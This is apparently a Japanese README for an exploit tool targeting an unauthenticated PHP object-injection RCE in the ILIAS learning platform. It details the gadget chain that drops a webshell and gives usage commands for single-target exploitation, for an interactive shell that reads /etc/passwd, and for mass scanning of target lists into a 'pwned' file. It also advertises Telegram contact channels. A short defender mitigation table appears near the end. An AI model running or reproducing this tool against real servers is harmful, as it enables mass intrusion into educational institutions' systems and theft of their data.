
ILIAS ≤ 9.21 / 10.9 / 11.2 — 未認証のPHPオブジェクトインジェクション(RCE)
CVE-2026-80428ベクター: Shibbolethバックチャネルログアウトエンドポイント
影響: Webサーバーユーザーとしての完全なリモートコード実行
深刻度: 🔴 CRITICAL
CVE-2026-80428 は、ILIAS 学習管理システムに影響を与える重大な未認証のPHPオブジェクトインジェクション脆弱性です。
ltiauth.phpにおけるセッションポイズニングのプリミティブと、shib_logout.phpにおける安全でないunserialize()呼び出しを連鎖させることで、攻撃者は任意のファイル書き込みを実行し、最終的にリモートコード実行(RCE)を達成できます — しかも認証なしで。
| 🎯 パラメータ | 📋 値 |
|---|---|
| CVE ID | CVE-2026-80428 |
| 種類 | PHPオブジェクトインジェクション → RCE |
| 必要な認証 | ❌ なし |
| 攻撃ベクター | ネットワーク(HTTP/HTTPS) |
| CVSSスコア | 9.8(Critical) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
ステップバイステップ:
ltiauth.php は検証なしでシリアライズされたペイロードを PHP セッション内に保存します。shib_logout.php は細工された Shibboleth LogoutNotification SOAP リクエストを処理し、セッションデータに対して unserialize() を呼び出します。GuzzleHttp\Cookie\FileCookieJar ガジェットが file_put_contents() を呼び出し、攻撃者が制御するパスに PHP webshell を書き込みます。| 🏷️ ブランチ | ❌ 脆弱 | ✅ 修正済み |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 コア
|
💎 利便性
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
要件:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
オプション:
| フラグ | 説明 | デフォルト |
|---|---|---|
--port | 対象ポート | 443 |
--path | ディスク上の ILIAS docroot | /var/www/ilias/public |
--host-header | カスタム Host ヘッダー | — |
--timeout | リクエストタイムアウト (秒) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
オプション:
| フラグ | 説明 | デフォルト |
|---|---|---|
-l, --list | 必須 — ターゲットリストファイル | — |
-t, --threads | 同時ワーカー数 | 20 |
-o, --output | 脆弱なターゲットの出力ファイル | ilias_vuln.txt |
--path | ILIAS docroot | /var/www/ilias/public |
--host-header | カスタム Host ヘッダー | — |
--timeout | リクエストタイムアウト (秒) | 30 |
targets.txt ファイルを作成します:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
対応フォーマット:
hosthost:porthttp://hosthttps://host:porthost/path (パスは除去) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
防御者およびシステム管理者向け:
| 🛠️ アクション | 📝 詳細 |
|---|---|
| 🔼 ILIASをアップグレード | 9.22 / 10.10 / 11.3 以降 |
| 🚫 Shibbolethを無効化 | 使用していない場合 — shib_logout.php を削除 |
| 🧱 WAFルール | 不正な形式のSOAP LogoutNotification ペイロードをブロック |
| 📂 書き込みアクセスを制限 | Webルートは www-data から書き込み可能にすべきではない |
| 🔍 監視 | アップロード/キャッシュディレクトリ内の予期しない .php ファイルを探す |
| 👤 プラットフォーム | 🔗 ハンドル |
|---|---|
| 💬 Telegram DM | @HackfutS3c |
| ☁️ ULP Cloud | @ulp_CLOUD1 |
| 📢 チャンネル1 | t.me/+gsrpvshwGUc5MzI0 |
| 📢 チャンネル2 | t.me/LinxProdXs404 |